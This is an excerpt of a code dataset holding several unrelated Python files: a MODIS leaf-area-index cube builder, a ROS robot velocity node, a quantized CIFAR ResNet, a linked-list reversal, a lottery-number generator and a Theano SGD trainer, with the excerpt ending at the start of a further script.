logging.getLogger(__name__)\r\nlog.setLevel(logging.DEBUG)\r\nlog.addHandler(logging.StreamHandler())\r\n\r\nLAI_LAYERS = []\r\nLAI_CUBE = []\r\nMETA = []\r\n\r\n\r\ndef extract_lai(dataset, _geotransform, _projection):\r\n \"\"\"\r\n\r\n :param dataset: hdf source\r\n :param geotransform: hdf geotransform information\r\n :param projection: projection\r\n\r\n adds (datetime, lai_value) to global LAI_VALUES\r\n \"\"\"\r\n\r\n band = dataset.GetRasterBand(1)\r\n\r\n metadata = dataset.GetMetadata_Dict()\r\n\r\n if band is None:\r\n log.error(dataset)\r\n raise ValueError('Could not read hdf file')\r\n\r\n # bandtype = gdal.GetDataTypeName(band.DataType)\r\n lai = band.ReadAsArray()\r\n lai = np.array(lai)\r\n # values are 10* real values.\r\n # value = lai[y][x] / 10\r\n measurement_time = dateparser.parse(metadata['RANGEBEGINNINGDATE'])\r\n\r\n LAI_LAYERS.append((measurement_time, lai))\r\n\r\n\r\ndef load_lai_from_hdf_nasa():\r\n \"\"\"\r\n Given location and hdf direcotry in settings.conf load all LAI\r\n values for given location over time.\r\n Each hdf file is a 8 day average.\r\n :return: global LAI_VALUES will be filled.\r\n \"\"\"\r\n hdf_files = get_lai_gdal_modis_files()\r\n\r\n if not hdf_files:\r\n raise ValueError('Directory hdf4 lai source wrong.')\r\n\r\n hdf_files.sort()\r\n print(hdf_files)\r\n log.debug(hdf_files)\r\n\r\n for hdf_name in hdf_files:\r\n log.debug('Loading %s', hdf_name)\r\n ds, geotransform, projection = read_modis.load_modis_data(\r\n hdf_name\r\n # 'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2:Lai_1km'\r\n )\r\n extract_lai(ds, geotransform, projection)\r\n\r\n # sort values by date.\r\n LAI_LAYERS.sort()\r\n\r\n\r\ndef load_lai_from_hdf_nasa_v006():\r\n \"\"\"\r\n Given location and hdf direcotry in settings.conf load all LAI\r\n values for given location over time.\r\n Each hdf file is a 8 day average.\r\n :return: global LAI_VALUES will be filled.\r\n \"\"\"\r\n hdf_files = get_lai_gdal_modis_files_0006()\r\n\r\n if not hdf_files:\r\n raise ValueError('Directory hdf4 lai source wrong.')\r\n\r\n hdf_files.sort()\r\n print(hdf_files)\r\n log.debug(hdf_files)\r\n\r\n for hdf_name in hdf_files:\r\n log.debug('Loading %s', hdf_name)\r\n ds, geotransform, projection = read_modis.load_modis_data(\r\n hdf_name\r\n # 'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2:Lai_1km'\r\n )\r\n extract_lai(ds, geotransform, projection)\r\n\r\n # sort values by date.\r\n LAI_LAYERS.sort()\r\n\r\n\r\ndef get_lai_gdal_modis_files():\r\n \"\"\"Return LAI gdal location urls\r\n \"\"\"\r\n\r\n # hdf LAI directory data\r\n groupname = conf['groupname']\r\n hdf_dir = lai_locations[groupname]\r\n hdf_dir = os.path.join(settings.PROJECT_ROOT, hdf_dir)\r\n search_path = '*.hdf'\r\n\r\n source_hdf_dir = os.path.join(\r\n settings.PROJECT_ROOT,\r\n settings.lai_locations[conf['groupname']],\r\n )\r\n\r\n hdf_files = glob.glob(os.path.join(source_hdf_dir, search_path))\r\n\r\n if not hdf_files:\r\n log.exception(source_hdf_dir)\r\n raise ValueError('Directory hdf4 LAI source wrong.')\r\n\r\n read_modis.load_modis_data(hdf_files[0])\r\n return\r\n\r\n hdf_files = [\r\n f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2:Lai_1km'\r\n for hdf_name in hdf_files]\r\n\r\n return hdf_files\r\n\r\n\r\ndef get_lai_gdal_modis_files_0006():\r\n search_path = f\"*.{conf['location']}.*.hdf\"\r\n source_hdf_dir = os.path.join(\r\n settings.PROJECT_ROOT,\r\n 'lai_v006_world')\r\n\r\n log.debug(source_hdf_dir)\r\n log.debug(search_path)\r\n\r\n hdf_files = glob.glob(os.path.join(source_hdf_dir, search_path))\r\n\r\n log.info('HDF LAI FILES %d', len(hdf_files))\r\n\r\n log.info(hdf_files)\r\n\r\n if not hdf_files:\r\n log.info(\"no source lai files found\")\r\n return\r\n\r\n read_modis.load_modis_data(hdf_files[0])\r\n\r\n hdf_files = [\r\n f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2H:Lai_500m'\r\n for hdf_name in hdf_files]\r\n\r\n return hdf_files\r\n\r\n\r\ndef extract_lai_meta():\r\n \"\"\"\r\n Extract from one modis file the META information\r\n \"\"\"\r\n for hdf_gdal_name in get_lai_gdal_modis_files()[:1]:\r\n print(hdf_gdal_name)\r\n ds, geotransform, projection = read_modis.load_modis_data(\r\n hdf_gdal_name\r\n # f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2H:Lai_500m',\r\n # f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2:Lai_1km',\r\n # f'HDF4_EOS: EOS_GRID:\"{hdf_name}\": MOD12Q1:Land_Cover_Type_5',\r\n # f'HDF4_EOS:EOS_GRID:\"ground_usage\":MOD12Q1:Land_Cover_Type_5',\r\n )\r\n bbox = read_modis.make_lonlat_bbox(ds)\r\n\r\n return geotransform, projection, bbox\r\n\r\n\r\ndef extract_lai_meta_v006():\r\n \"\"\"\r\n Extract from one modis file the META information\r\n \"\"\"\r\n for hdf_gdal_name in get_lai_gdal_modis_files_0006()[:1]:\r\n print(hdf_gdal_name)\r\n ds, geotransform, projection = read_modis.load_modis_data(\r\n hdf_gdal_name\r\n # f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2H:Lai_500m',\r\n # f'HDF4_EOS:EOS_GRID:\"{hdf_name}\":MOD_Grid_MOD15A2:Lai_1km',\r\n # f'HDF4_EOS: EOS_GRID:\"{hdf_name}\": MOD12Q1:Land_Cover_Type_5',\r\n # f'HDF4_EOS:EOS_GRID:\"ground_usage\":MOD12Q1:Land_Cover_Type_5',\r\n )\r\n bbox = read_modis.make_lonlat_bbox(ds)\r\n\r\n return geotransform, projection, bbox\r\n\r\n\r\n\r\n\r\ndef store_meta():\r\n \"\"\"Store meta information about LAI\r\n\r\n TODO maybe CF complient so we can use panoply etc?\r\n \"\"\"\r\n geotransform, projection, bbox = extract_lai_meta()\r\n h5util.save('lai/meta/', [bbox], attrs={\r\n 'geotransform': geotransform,\r\n 'projection': str(projection),\r\n 'bbox': bbox,\r\n })\r\n\r\n\r\ndef make_cube():\r\n\r\n lai_cube = np.array(\r\n [matrix for time, matrix in LAI_LAYERS]\r\n )\r\n\r\n time_matrix = [time for time, cell in LAI_LAYERS]\r\n\r\n return time_matrix, lai_cube\r\n\r\n\r\ndef save_lai_8_day():\r\n \"\"\"Store all hdf LAI matrixes in one file\r\n \"\"\"\r\n\r\n time_matrix, lai_cube = make_cube()\r\n time_matrix = [time.timestamp() for time in time_matrix]\r\n log.debug('X- time count %d', len(time_matrix))\r\n\r\n groupname = conf['groupname'] + '/lai/nasa'\r\n storage_name = conf['hdf5storage']\r\n with h5py.File(storage_name, \"a\") as data_file:\r\n h5util.set_dataset(data_file, groupname, 'timestamps', time_matrix)\r\n h5util.set_dataset(data_file, groupname, lai_cube)\r\n\r\n log.info('Stored all lai layers of %s in %s', groupname, storage_name)\r\n\r\n\r\ndef clean_nasa():\r\n \"\"\"Delete raw source lai data to shrik file size\r\n \"\"\"\r\n storage_name = conf['hdf5storage']\r\n groupname = conf['groupname'] + '/lai/nasa'\r\n with h5py.File(storage_name, \"a\") as data_file:\r\n del data_file[groupname]\r\n\r\n\r\ndef plot_matrix(ds):\r\n pyplot.imshow(ds, vmin=0, vmax=26)\r\n pyplot.show()\r\n\r\n\r\ndef plot_location(values):\r\n pyplot.plot(values)\r\n pyplot.show()\r\n\r\n\r\ndef _printname(name):\r\n log.debug(name)\r\n\r\n\r\ndef load_cube():\r\n \"\"\"Load the stored LAI cube\r\n\r\n example usage:\r\n\r\n # access one layer\r\n plot_matrix(lai_cube[1][:][:])\r\n\r\n # access one location over 10 years\r\n values = lai_cube[:, 1000, 1000]\r\n \"\"\"\r\n # lai_cube = h5util.load_datasets('lai/nasa')\r\n\r\n groupname = conf['groupname']\r\n storage_name = conf['hdf5storage']\r\n with h5py.File(storage_name, \"a\") as data_file:\r\n data_file.visit(_printname)\r\n cube = f'{groupname}/lai/nasa'\r\n lai_cube = np.array(data_file[cube])\r\n timestamps = data_file['timestamps']\r\n dt = datetime.datetime\r\n timestamps = [dt.fromtimestamp(d) for d in timestamps]\r\n\r\n return timestamps, lai_cube\r\n\r\n\r\ndef create_lai_day_layer(timestamps):\r\n \"\"\"Create day - layer index within cube\"\"\"\r\n lai_day_layer = []\r\n\r\n for layer_idx, d8t in enumerate(timestamps):\r\n for i in range(8):\r\n day1 = datetime.timedelta(days=1)\r\n oneday = d8t + i * day1\r\n lai_day_layer.append((oneday, layer_idx))\r\n\r\n return lai_day_layer\r\n\r\n\r\ndef avg_month(month_layers, cube):\r\n \"\"\"Sum up all 8 day data into one month\r\n \"\"\"\r\n\r\n if conf['v006']:\r\n m = np.zeros((2400, 2400))\r\n else:\r\n m = np.zeros((1200, 1200))\r\n\r\n for idx in month_layers:\r\n m = np.add(m, cube[idx, :, :])\r\n\r\n return np.divide(m, len(month_layers))\r\n\r\n\r\ndef gen_months(day_layers, cube):\r\n \"\"\"\r\n Generate average months.\r\n \"\"\"\r\n month_layers = []\r\n current_month = None\r\n current_year = None\r\n month = None\r\n\r\n # create month avg values of lai\r\n for day, layer in day_layers:\r\n month = day.month\r\n year = day.year\r\n\r\n if current_month is None:\r\n current_month = month\r\n if current_year is None:\r\n current_year = year\r\n\r\n if month is not current_month:\r\n log.debug('%d %d %d %d', year, month, current_year, current_month)\r\n yield current_year, current_month, avg_month(month_layers, cube)\r\n # reset month counting.\r\n current_month = month\r\n current_year = year\r\n month_layers = []\r\n\r\n # store layer of one day.\r\n month_layers.append(layer)\r\n\r\n if month_layers:\r\n # store last month\r\n yield current_year, current_month, avg_month(month_layers, cube)\r\n\r\n\r\n\r\ndef savitzky_golay(cube):\r\n from scipy import signal\r\n dvs = signal.savgol_filter(cube, 9, 3, axis=0, mode='mirror')\r\n pyplot.plot(dvs[:, 1000, 1000])\r\n pyplot.plot(cube[:, 1000, 1000])\r\n pyplot.show()\r\n return dvs\r\n\r\n\r\ndef make_month_cube(day_layers, source_cube):\r\n\r\n x, y = 1200, 1200\r\n if settings.conf['v006']:\r\n x, y = 2400, 2400\r\n\r\n month_cube = np.zeros((156, x, y), dtype=np.float)\r\n\r\n for year, month, month_layer in gen_months(day_layers, source_cube):\r\n idx = (year - 2000) * 12 + (month - 1)\r\n # if idx >= 120:\r\n # break\r\n month_cube[idx] = month_layer\r\n log.debug('Month %s %s idx %d', year, month, idx)\r\n\r\n return month_cube\r\n\r\n\r\ndef make_smooth_cube(timestamps, cube, x=None, y=None):\r\n\r\n smooth_cube = savitzky_golay(cube)\r\n\r\n if x and y:\r\n xsteps = 75\r\n raw = cube[:xsteps, x, y] / 10\r\n smooth = smooth_cube[:xsteps, x, y] / 10\r\n plot_lai(timestamps[:xsteps], raw, smooth)\r\n\r\n return smooth_cube\r\n\r\n\r\ndef convert_to_120month_cube(timestamps, cube, name='month'):\r\n \"\"\"\"\r\n Convert 8 day period cube to smoothed month\r\n period cube.\r\n \"\"\"\r\n day_layers = create_lai_day_layer(timestamps)\r\n mc = make_month_cube(day_layers, cube)\r\n # smc = make_month_cube(day_layers, smooth_cube)\r\n\r\n storage_name = conf['hdf5storage']\r\n\r\n with h5py.File(storage_name, \"a\") as data_file:\r\n data_file.visit(_printname)\r\n groupname = conf['groupname']\r\n target = f'{groupname}/lai/{name}'\r\n h5util.set_dataset(data_file, target, mc.astype(float))\r\n # target = f'{groupname}/lai/smooth_month'\r\n # h5util.set_dataset(data_file, target, smc.astype(float))\r\n\r\n\r\ndef plot_lai(timestamps, lai_values, smooth):\r\n \"\"\"Plot to Validate if smoothing went ok.\r\n\r\n :param timestamps dates:\r\n :param lai_values:\r\n :param smooth:\r\n \"\"\"\r\n\r\n assert len(smooth) == len(lai_values)\r\n\r\n pyplot.plot(timestamps, lai_values, label='Original LAI dataset' )\r\n\r\n pyplot.plot(timestamps, smooth, label='smooth')\r\n\r\n start = timestamps[0]\r\n end = timestamps[-1]\r\n start = f\"{start.year}-{start.month}\"\r\n end = f\"{end.year}-{end.month}\"\r\n\r\n pyplot.title(\r\n f\"LAI for {start}-{end} Month\")\r\n pyplot.legend()\r\n pyplot.show()\r\n\r\n\r\ndef plot_months(points):\r\n \"\"\"Plot lai and smoothed lai for months\r\n\r\n :param lai_values_by_month:\r\n :param smooth: also plot smoothed version\r\n :return: PLOT of lai values.\r\n \"\"\"\r\n storage_name = conf['hdf5storage']\r\n h5util.load_timestamps('months')\r\n with h5py.File(storage_name, \"r\") as data_file:\r\n data_file.visit(_printname)\r\n groupname = conf['groupname']\r\n smc = f'{groupname}/lai/smooth_month'\r\n mc = f'{groupname}/lai/month'\r\n m_cube = np.array(data_file[mc])\r\n sm_cube = np.array(data_file[smc])\r\n\r\n # 1000, 1000 is an example location in the middle of the dessert\r\n for n in points[::2]:\r\n pyplot.plot(\r\n m_cube[:50, n, n+1], label='Original LAI dataset')\r\n pyplot.plot(sm_cube[:50, n, n+1], label='smooth')\r\n pyplot.title(f\"LAI for 2001-2010 Month\")\r\n pyplot.legend()\r\n pyplot.show()\r\n\r\n\r\ndef plot_map(layer=10):\r\n cube = h5util.load_dataset('lai/smooth_month')\r\n log.debug(cube.shape)\r\n layer = cube[layer, :, :]\r\n log.debug(layer.shape)\r\n pyplot.imshow(layer[0, :, :])\r\n pyplot.show()\r\n\r\n\r\ndef make_hv_cube():\r\n\r\n LAI_LAYERS.sort()\r\n\r\n if LAI_LAYERS:\r\n timestamps, cube = make_cube()\r\n\r\n # timestamps = [time.timestamp() for time in timestamps]\r\n log.debug('X- time count %d', len(timestamps))\r\n\r\n pyplot.title('lai dates')\r\n pyplot.plot(timestamps, [1 for x in timestamps])\r\n pyplot.show()\r\n\r\n # convert_to_120month_cube(timestamps, cube, 'month')\r\n # smooth = make_smooth_cube(timestamps, cube, 1000, 1000)\r\n # convert_to_120month_cube(timestamps, smooth, 'smooth_month')\r\n convert_to_120month_cube(timestamps, cube, 'smooth_month')\r\n LAI_LAYERS.clear()\r\n\r\n\r\ndef main(args):\r\n cube = None\r\n\r\n x, y = None, None\r\n\r\n if args.plot:\r\n x, y = args.plot\r\n x = int(x)\r\n y = int(y)\r\n\r\n if args.nasa:\r\n load_lai_from_hdf_nasa()\r\n # save results\r\n if not args.savemonthly:\r\n save_lai_8_day()\r\n if args.nasaclean:\r\n clean_nasa()\r\n\r\n if args.smooth:\r\n assert x\r\n assert y\r\n timestamps, cube = load_cube()\r\n make_smooth_cube(timestamps, cube, x, y)\r\n return\r\n\r\n if args.savemonthly:\r\n if LAI_LAYERS:\r\n timestamps, cube = make_cube()\r\n else:\r\n timestamps, cube = load_cube()\r\n\r\n smooth = make_smooth_cube(timestamps, cube, x, y)\r\n convert_to_120month_cube(timestamps, cube, smooth)\r\n LAI_LAYERS.clear()\r\n\r\n if args.plot:\r\n points = [int(n) for n in args.plot]\r\n plot_months(points)\r\n if args.store_meta:\r\n store_meta()\r\n if args.plotlayer:\r\n plot_map(layer=args.plotlayer)\r\n\r\n\r\nif __name__ == '__main__':\r\n desc = \"Create LAI matrix cubes of LAI\"\r\n inputparser = argparse.ArgumentParser(desc)\r\n\r\n inputparser.add_argument(\r\n '--nasa',\r\n action='store_true',\r\n default=False,\r\n help=\"Load raw hdf nasa data from direcotory\")\r\n\r\n inputparser.add_argument(\r\n '--nasaclean',\r\n action='store_true',\r\n default=False,\r\n help=\"Clean raw nasa lai data from hdf5\")\r\n\r\n inputparser.add_argument(\r\n '--smooth',\r\n action='store_true',\r\n default=False,\r\n help=\"Create smoothed cube of lai data\")\r\n\r\n inputparser.add_argument(\r\n '--savemonthly',\r\n action='store_true',\r\n default=False,\r\n help=\"Convert 8 day period to month perod of CRU\")\r\n\r\n inputparser.add_argument(\r\n '--store_meta',\r\n action='store_true',\r\n default=False,\r\n help=\"Store LAI meta data in hdf5\")\r\n\r\n inputparser.add_argument(\r\n '--plot',\r\n nargs=2,\r\n default=None, # [1000, 1000],\r\n metavar=('x', 'y'),\r\n help=\"Plot LAI data at given pixel coordinates\")\r\n\r\n inputparser.add_argument(\r\n '--plotlayer',\r\n # action='store_true',\r\n nargs=1,\r\n type=int,\r\n default=[100],\r\n metavar=('layer_n',),\r\n help=\"Plot LAI map at given layer\")\r\n\r\n args = inputparser.parse_args()\r\n\r\n main(args)\r\n","sub_path":"create_lai_cube.py create_lai_cube_v006.py","file_name":"create_lai_cube.py create_lai_cube_v006.py","file_ext":"py","file_size_in_byte":16670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"513815005","text":"#!/usr/bin/env python\n# coding=utf8\n\nimport rospy\nimport sys\nfrom geometry_msgs.msg import Twist\nfrom motor_driver import MotorDriver\n\n# nodo subscriber per il topic \"cmd_vel_topic\" , che tramite la classe MotorDriver cambia la velocità lineare e angolare delle ruote.\nclass RobotMover(object):\n\n def __init__(self):\n\t# valori di velocità angolare e lineare precedenti , inizializzati a 0 e 0.1\n self.previous_angular = 0\n self.previous_linear = 0.1\n rospy.Subscriber(\"cmd_vel_topic\", Twist, self.cmd_vel_callback)\n\t# creazione di un oggetto della classe MotorDriver\n self.motion_driver = MotorDriver()\n\t\n # callback invocata ogni qual volta venga pubblicato qualcosa sul topic \"cmd_vel_topic\" \n def cmd_vel_callback(self, data):\n\t# velocità lineare e angolare pubblicate sul topic\n linear_speed = data.linear.x\n angular_speed = data.angular.z\n\t# se sono dei valori di default, si passano a change speed le velocità precedenti, continua a fare quello che faceva\n if (linear_speed == -1000) or (angular_speed == -1000) or (linear_speed == 1000) or (angular_speed == 1000):\n self.motion_driver.change_speed(self.previous_linear, self.previous_angular)\n print(\"{ROBOT_MOVER} Linear: \" + str(self.previous_linear) + \", Angular: \" + str(self.previous_angular))\n else: # se le velocità sono cambiate, aggiorno i valori di quelle precedenti e li passo a change_speed\n self.previous_linear = linear_speed\n self.previous_angular = angular_speed\n self.motion_driver.change_speed(linear_speed, angular_speed)\n print(\"{ROBOT_MOVER} Linear: \" + str(linear_speed) + \", Angular: \" + str(angular_speed))\n\n\nif __name__ == '__main__':\n rospy.init_node('vel_listener', anonymous=True)\n robot_mover = RobotMover()\n rospy.spin()\n","sub_path":"robot_mover_node.py","file_name":"robot_mover_node.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"146339083","text":"import math\nimport numpy as np\nimport torch.nn as nn\nfrom torch.nn.modules.utils import _pair\n\nfrom .quantizable_ops import (\n #SwitchableBatchNorm2d,\n QuantizableConv2d,\n QuantizableLinear\n)\nfrom utils.config import FLAGS\n\n\nclass Block(nn.Module):\n def __init__(self, inp, outp, stride, input_size):\n super(Block, self).__init__()\n assert stride in [1, 2]\n \n l1 = QuantizableConv2d(inp, outp, 3, stride, 1, bias=False, input_size=input_size)\n l2 = QuantizableConv2d(outp, outp, 3, 1, 1, bias=False, input_size=l1.output_size)\n\n layers = [\n l1,\n nn.BatchNorm2d(outp),\n nn.ReLU(inplace=True),\n\n l2,\n nn.BatchNorm2d(outp),\n ]\n self.body = nn.Sequential(*layers)\n self.output_size = l2.output_size\n\n self.residual_connection = stride == 1 and inp == outp\n if not self.residual_connection:\n self.shortcut = nn.Sequential(\n QuantizableConv2d(inp, outp, 1, stride=stride, bias=False),\n nn.BatchNorm2d(outp),\n )\n self.post_relu = nn.ReLU(inplace=True)\n\n def forward(self, x):\n if self.residual_connection:\n res = self.body(x)\n res += x\n else:\n res = self.body(x)\n res += self.shortcut(x)\n res = self.post_relu(res)\n return res\n\n\nclass Model(nn.Module):\n def __init__(self, num_classes=10):\n super(Model, self).__init__()\n\n # head\n channels = 16\n l_head = QuantizableConv2d(3, channels, 3, 1, 1, bias=False, \n lamda_w_min=8, lamda_a_min=8,\n weight_only=True,\n input_size=_pair(getattr(FLAGS, 'image_size', (32, 32)))\n )\n self.head = nn.Sequential(\n l_head,\n nn.BatchNorm2d(channels),\n nn.ReLU(inplace=True),\n )\n\n # setting of inverted residual blocks\n self.block_setting_dict = {\n # : [stage1, stage2, stage3]\n 20: [3, 3, 3],\n 56: [9, 9, 9],\n 110: [18, 18, 18]\n }\n self.block_setting = self.block_setting_dict[FLAGS.depth]\n\n feats = [16, 32, 64]\n\n # body\n input_size = l_head.output_size\n for idx, n in enumerate(self.block_setting):\n outp = feats[idx]\n for i in range(n):\n if i == 0 and idx != 0:\n layer = Block(channels, outp, 2, input_size)\n else:\n layer = Block(channels, outp, 2, input_size)\n setattr(self, 'stage_{}_layer_{}'.format(idx, i), layer)\n channels = outp\n input_size = layer.output_size\n\n self.avgpool = nn.AdaptiveAvgPool2d(1)\n \n # classifier\n self.classifier = nn.Sequential(\n QuantizableLinear(\n outp,\n num_classes,\n lamda_w_min=8\n )\n )\n if FLAGS.reset_parameters:\n self.reset_parameters()\n\n def forward(self, x):\n x = self.head(x)\n for idx, n in enumerate(self.block_setting):\n for i in range(n):\n x = getattr(self, 'stage_{}_layer_{}'.format(idx, i))(x)\n x = self.avgpool(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n def reset_parameters(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n if m.weight is not None:\n m.weight.data.fill_(1)\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n n = m.weight.size(1)\n m.weight.data.normal_(0, 0.01)\n m.bias.data.zero_()\n","sub_path":"quantization/lbq-v2/models/q_resnet_cifar.py","file_name":"q_resnet_cifar.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"645959141","text":"class ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def reverseList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if head == None:\n return head\n output = ListNode(0)\n cur = head.next\n head.next = output.next\n output.next = head\n\n while (cur != None):\n\n a = cur.next\n cur.next = output.next\n output.next = cur\n\n cur = a\n\n return output.next\n\nif __name__ == \"__main__\":\n a = Solution( )\n l1 = ListNode(1)\n l1.next = ListNode(2)\n l1.next.next = ListNode(3)\n l1.next.next.next = ListNode(4)\n print(a.reverseList(l1))","sub_path":"Leetcode_reverse.py","file_name":"Leetcode_reverse.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"507948200","text":"import random\n#test comment\n\ndef tr():\n n = list(range(1,46))\n gamesets = []\n \n while len(n) >= 3:\n gameset=[]\n while len(gameset) <6:\n \n if len(n) > 3:\n i = random.randrange(0,len(n))\n gameset.append(n[i])\n n.pop(i)\n \n gameset.sort()\n gamesets.append(gameset)\n #print(gameset)\n \n if len(n) == 3:\n \n new_n = list(set(range(1,46)) - set(n)) \n \n for i in range(0,3):\n j = random.randrange(1,len(new_n))\n n.append(new_n[j])\n new_n.pop(j)\n \n \n #print(n)\n gamesets.append(n)\n \n break\n\n# return gamesets\n outputlist = []\n for game in gamesets:\n outputlist.append(str(game))\n\n return '\\n'.join(outputlist)\n\nif __name__ =='__main__':\n print(tr())\n\n","sub_path":"main/gl.py","file_name":"gl.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"346920081","text":"# Various implementations of SGD in Theano.\n# While you could use sgd() for most applications,\n# this file also includes:\n#\t- SGD (vanilla)\n#\t- SGD with Momentum (momentum \\in [0,1])\n#\t- SGD with Nesterov Momentum\n# (c) Adrian deWynter, 2017\n\nfrom __future__ import print_function\n\nfrom TheanoUtils import loadData\n\nimport sys,os,timeit,dill\nimport numpy as np\nimport theano\nimport theano.tensor as T\n\n\ndef SGD(classifier,cost,x,y,params=None,updates=None,\n\tlearning_rate=0.13,batch_size=600,steps=5000,stepSize=2,threshold=0.995,n_epochs=1000,\n\tmomentum=0,alpha=0,\n\tdataset='mnist.pkl.gz',outputdir=\"BestSoFar.pkl\",timer=False, validation_frequency = -1):\n\t\n\tdatasets = loadData(dataset)\n\ttrainx,trainy,validx,validy,testx,testy = loadData(dataset)\n\n\tnTrainBatches = trainx.get_value(borrow=True).shape[0]/batch_size\n\tnValidBatches = validx.get_value(borrow=True).shape[0]/batch_size\n\tnTestBatches = testx.get_value(borrow=True).shape[0]/batch_size\n\tindex = T.lscalar()\n\t\n\tprint(\"Initializing model...\")\n\n\ttestModel = theano.function(inputs=[index],outputs=classifier.errors(y),givens={\n\t\tx:testx[index*batch_size:(index+1)*batch_size],\n\t\ty:testy[index*batch_size:(index+1)*batch_size]\n\t\t})\n\n\tvalidationModel = theano.function(inputs=[index],outputs=classifier.errors(y),givens={\n\t\tx:validx[index*batch_size:(index+1)*batch_size],\n\t\ty:validy[index*batch_size:(index+1)*batch_size]\n\t\t})\n\n\tif params == None: params = classifier.params\n\n\n\tif updates == None:\n\t\t\n\t\tgparams = [T.grad(cost,param) for param in params]\n\t\tupdates = []\n\n\t\tif momentum == 0:\n\t\t\tupdates = [(param,param - learning_rate*gparam) for param,gparam in zip(params,gparams)]\n\t\telse:\n\t\t\t# Momentum\n\t\t\tif alpha == 0:\n\t\t\t\tfor param,gparam in zip(params,gparams):\n\t\t\t\t\tparam_update = theano.shared(param.get_value()*0.,broadcastable=param.broadcastable)\n\t\t\t\t\tupdates.append((param_update,momentum*param_update + (1.- momentum)*gparam))\n\t\t\t# Nesterov momentum DOESNT WORK YET\n\t\t\telse:\n\t\t\t\tfor param in params:\n\t\t\t\t\tparam_update = theano.shared(param.get_value()*0.,broadcastable=param.broadcastable)\n\t\t\t\t\tupdates.append((param,param + param_update))\n\t\t\t\t\tnesterov = param + momentum*param_update\n\t\t\t\t\tupdates.append((param_update,momentum*param_update-alpha*T.grad(cost,nesterov)))\n\n\n\ttrainingModel = theano.function(inputs=[index],outputs=cost,updates=updates,givens={\n\t\tx:trainx[index*batch_size:(index+1)*batch_size],\n\t\ty:trainy[index*batch_size:(index+1)*batch_size]\n\t\t})\n\n\tprint(\"Training...\")\n\n\t## Do some SGD\n\tbestValidationLoss = np.inf\n\tbestIteration = 0\n\ttestScore = 0.\n\t\n\tif timer: startTime = timeit.default_timer()\n\tif validation_frequency == -1: validation_frequency = min(nTrainBatches,steps/2)\n\t\n\tdone = False\n\tepoch = 0\n\n\twhile (epoch < n_epochs) and not done:\n\t\tepoch = epoch + 1\n\n\t\tfor idx in xrange(nTrainBatches):\n\n\t\t\tavgcost = trainingModel(idx)\n\t\t\titer = (epoch-1)*nTrainBatches+idx\n\t\t\tif (iter+1)%validation_frequency==0:\n\n\t\t\t\tvalidationLosses=[validationModel(i) for i in xrange(nValidBatches)]\n\t\t\t\tthisLoss = np.mean(validationLosses)\n\t\t\t\t\n\n\t\t\t\tif thisLoss < bestValidationLoss:\n\n\t\t\t\t\tif thisLoss < bestValidationLoss*threshold: steps=max(steps,iter*stepSize)\n\n\t\t\t\t\tbestValidationLoss = thisLoss\n\t\t\t\t\tbestIteration = iter\n\t\t\t\t\ttestLosses = [testModel(i) for i in xrange(nTestBatches)]\n\t\t\t\t\ttestScore = np.mean(testLosses)\n\n\t\t\t\t\tprint(\"Epoch {}; minibatch {}/{}:\".format(epoch,idx+1,nTrainBatches))\n\t\t\t\t\tprint(\"\\tValidation error of best model: {:04.3f}%\".format(thisLoss*100))\n\t\t\t\t\tprint(\"\\tTest error of best model: {:04.3f}%\".format(testScore*100))\n\n\t\t\t\t\t# Checkpoint\n\t\t\t\t\tdill.dump(classifier,open(outputdir,'w'))\n\n\t\t\tif steps <= iter:\n\t\t\t\tdone = True\n\t\t\t\tbreak\n\n\t\t\telif epoch%100 == 0:\n\t\t\t\tprint(\"Epoch {}/{}:\".format(epoch,n_epochs))\n\t\t\t\tprint(\"Validation error of best model: {:04.3f}%\".format(thisLoss*100))\n\t\t\t\tprint(\"Test error of best model: {:04.3f}%\".format(testScore*100))\n\n\n\tprint(\"Best validation score of {:04.3f}% at iteration {}. Test performance: {:04.3f}%\".format(bestValidationLoss*100.,bestIteration+1,testScore*100.))\n\tif(timer): print(\"Elapsed training time for file \"+ os.path.split(__file__)[1] + \": {}s\" .format((timeit.default_timer() - startTime)))\n\tprint(\"Done.\")\n\n\nif __name__==\"__main__\":\n\tpass","sub_path":"Theano/stochasticGradientDescent.py","file_name":"stochasticGradientDescent.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"148171161","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport argparse\nimport base64\nimport re\nfrom sys import exit\n\ndef info(txt): return '[\\033[1m\\033[36m*\\033[0m] \\033[34m'+str(txt)+'\\033[0m'\ndef bad(txt): return '[\\033[1m\\033[31m-\\033[0m] \\033[31m'+str(txt)+'\\033[0m'\ndef warning(txt): return'[\\033[1m\\033[33m!\\033[0m] \\033[33m'+str(txt)+'\\033[0m'\ndef good(txt): return 